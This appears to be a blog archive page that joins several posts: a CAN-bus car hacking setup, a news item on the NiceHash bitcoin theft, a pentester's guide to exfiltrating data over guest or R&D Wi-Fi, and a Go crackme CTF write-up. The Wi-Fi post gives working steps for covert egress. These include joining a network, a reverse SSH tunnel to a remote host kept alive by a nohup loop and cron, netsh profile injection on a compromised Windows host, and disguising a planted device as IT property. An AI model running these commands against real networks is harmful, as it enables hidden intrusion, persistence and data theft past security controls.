Into My World: August 2020

Unknown

Connecting Hardware to Your Real Car:

I realized the other day I posted Part 2 of this series to my youtube awhile ago but not blogger so this one will be quick and mostly via video walkthrough. I often post random followup videos which may never arrive on this blog. So if you're waiting on something specific I mentioned or the next part to a series its always a good idea to subscribe to the YouTube. This is almost always true if there is video associated with the post.

In the last blog we went over using virtual CAN devices to interact with a virtual car simulators of a CAN network This was awesome because it allowed us to learn how to interact with he underlying CAN network without fear of hacking around on an expensive automobile. But now it's time to put on your big boy pants and create a real CAN interface with hardware and plug your hardware device into your ODB2 port.

The video I created below will show you where to plug your device in, how to configure it and how to take the information you learned while hacking around on the virtual car from part1 and apply it directly to a real car.

Video Walk Through Using Hardware on a Real Car

As a reference here are the two device options I used in the video and the needed cable:

Hardware Used:

Get OBD2 Cable:
https://amzn.to/2QSmtyL

Get CANtact:
https://amzn.to/2xCqhMt

Get USB2CAN:
https://shop.8devices.com/usb2can

Creating Network Interfaces:

As a reference here are the commands from the video for creating a CAN network interface:

USB2Can Setup:

The following command will bring up your can interface and you should see the device light color change:

sudo ip link set can0 up type can bitrate 125000

Contact Setup:

Set your jumpers on 3,5 and 7 as seen in the picture in the video

Sudo slcand -o -s6 /dev/ttyACM can0 <— whatever device you see in your DMESG output

Ifconfig can0 up

Summary:

That should get you started connecting to physical cars and hacking around. I was also doing a bit of python coding over these interfaces to perform actions and sniff traffic. I might post that if anyone is interested. Mostly I have been hacking around on blockchain stuff and creating full course content recently so keep a look out for that in the future.

More info

Unknown

Over $60 Million Worth of Bitcoins Hacked from NiceHash Exchange. Bitcoin mining platform and exchange NiceHash has been hacked, leaving investors short of close to $68 million in BTC.

As the price of Bitcoin continues to rocket, surging past the $14,500 mark at the time of writing, cyberattackers have once again begun hunting for a fresh target to cash in on in this lucrative industry.

Banks and financial institutions have long cautioned that the volatility of Bitcoin and other cryptocurrency makes it a risky investment, but for successful attackers, the industry potentially provides a quick method to get rich — much to the frustration of investors.

Unfortunately, it seems that one such criminal has gone down this path, compromising NiceHash servers and clearing the company out.

In a press release posted on Reddit, on Wednesday, NiceHash said that all operations will stop for the next 24 hours after their "payment system was compromised and the contents of the NiceHash Bitcoin wallet have been stolen."

NiceHash said it was working to "verify" the precise amount of BTC stolen, but according to a wallet which allegedly belongs to the attacker — traceable through the blockchain — 4,736.42 BTC was stolen, which at current pricing equates to $67,867,781.

"Clearly, this is a matter of deep concern and we are working hard to rectify the matter in the coming days," NiceHash says. "In addition to undertaking our own investigation, the incident has been reported to the relevant authorities and law enforcement and we are co-operating with them as a matter of urgency."

"We are fully committed to restoring the NiceHash service with the highest security measures at the earliest opportunity," the trading platform added.

The company has also asked users to change their online passwords as a precaution. NiceHash says the "full scope" of the incident is unknown.

"We are truly sorry for any inconvenience that this may have caused and are committing every resource towards solving this issue as soon as possible," the company added.

Inconvenience is an understatement — especially as so much was left in a single wallet — but the moment those coins shift, we may know more about the fate of the stolen investor funds.

Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.

Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script:
#---------------------
#!/bin/bash
while true
do
ssh -R 3000:127.0.0.1:22 root@remoteHost.com
sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &

Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes:
*/5 * * * * /shell.sh

Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile:
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network:
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

Continue reading

Unknown

This file is an 32bits elf binary, compiled from go language (i guess ... coded by @nibble_ds ;)

The binary has some debugging symbols, which is very helpful to locate the functions and api calls.

GO source functions:

- main.main

- main.function.001

If the binary is executed with no params, it prints "Nope!", the bad guy message.

~/ncn$ ./inbincible

Nope!

Decompiling the main.main function I saw two things:

1. The Argument validation: Only one 16 bytes long argument is needed, otherwise the execution is finished.

2. The key IF, the decision to dexor and print byte by byte the "Nope!" string OR dexor and print "Yeah!"

The incoming channel will determine the final message.

Dexor and print each byte of the "Nope!" message.

This IF, checks 16 times if the go channel reception value is 0x01, in this case the app show the "Yeah!" message.

Go channels are a kind of thread-safe queue, a channel_send is like a push, and channel_receive is like a pop.

If we fake this IF the 16 times, we got the "Yeah!" message:

(gdb) b *0x8049118
(gdb) commands
>set {char *}0xf7edeef3 = 0x01
>c
>end

(gdb) r 1234567890123456
tarting program: /home/sha0/ncn/inbincible 1234567890123456
...
Yeah!

Ok, but the problem is not in main.main, is main.function.001 who must sent the 0x01 via channel.

This function xors byte by byte the input "1234567890123456" with a byte array xor key, and is compared with another byte array.

=> 0x8049456: xor %ebp,%ecx

This xor, encode the argument with a key byte by byte

The xor key can be dumped from memory but I prefer to use this macro:

(gdb) b *0x8049456
(gdb) commands
>i r ecx
>c
>end
(gdb) c

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x45 69

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x33 51

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x87 135

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x65 101

Breakpoint 2, 0x08049456 in main.func ()
ecx 0x12 18

The result of the xor will compared with another array byte, each byte matched, a 0x01 will be sent.

The cmp of the xored argument byte,
will determine if the channel send 0 or 1

(gdb) b *0x0804946a
(gdb) commands
>i r al
>c
>end

At this point we have the byte array used to xor the argument, and the byte array to be compared with, if we provide an input that xored with the first byte array gets the second byte array, the code will send 0x01 by the channel the 16 times.

Now web have:

xorKey=[0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12]

mustGive=[0x55,0x75,0x44,0xb6,0x0b,0x33,0x06,0x03,0xe9,0x02,0x60,0x71,0x47,0xb2,0x44,0x33]

Xor is reversible, then we can get the input needed to dexor to the expected values in order to send 0x1 bytes through the go channel.

>>> x=''
>>> for i in range(len(xorKey)):
... x+= chr(xorKey[i] ^ mustGive[i])
...
>>> print x

G0w1n!C0ngr4t5!!

And that's the key :) let's try it:

~/ncn$ ./inbincible 'G0w1n!C0ngr4t5!!'
Yeah!

Got it!! thanx @nibble_ds for this funny crackme, programmed in the great go language. I'm also a golang lover.

Mga Pahina

Monday, August 31, 2020

Hacking All The Cars - Part 2

Connecting Hardware to Your Real Car:

Video Walk Through Using Hardware on a Real Car

Hardware Used:

Creating Network Interfaces:

Summary:

Sunday, August 30, 2020

OVER $60 MILLION WORTH OF BITCOINS HACKED FROM NICEHASH EXCHANGE

Related articles

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi

Continue reading

Saturday, August 29, 2020

inBINcible Writeup - Golang Binary Reversing

Related links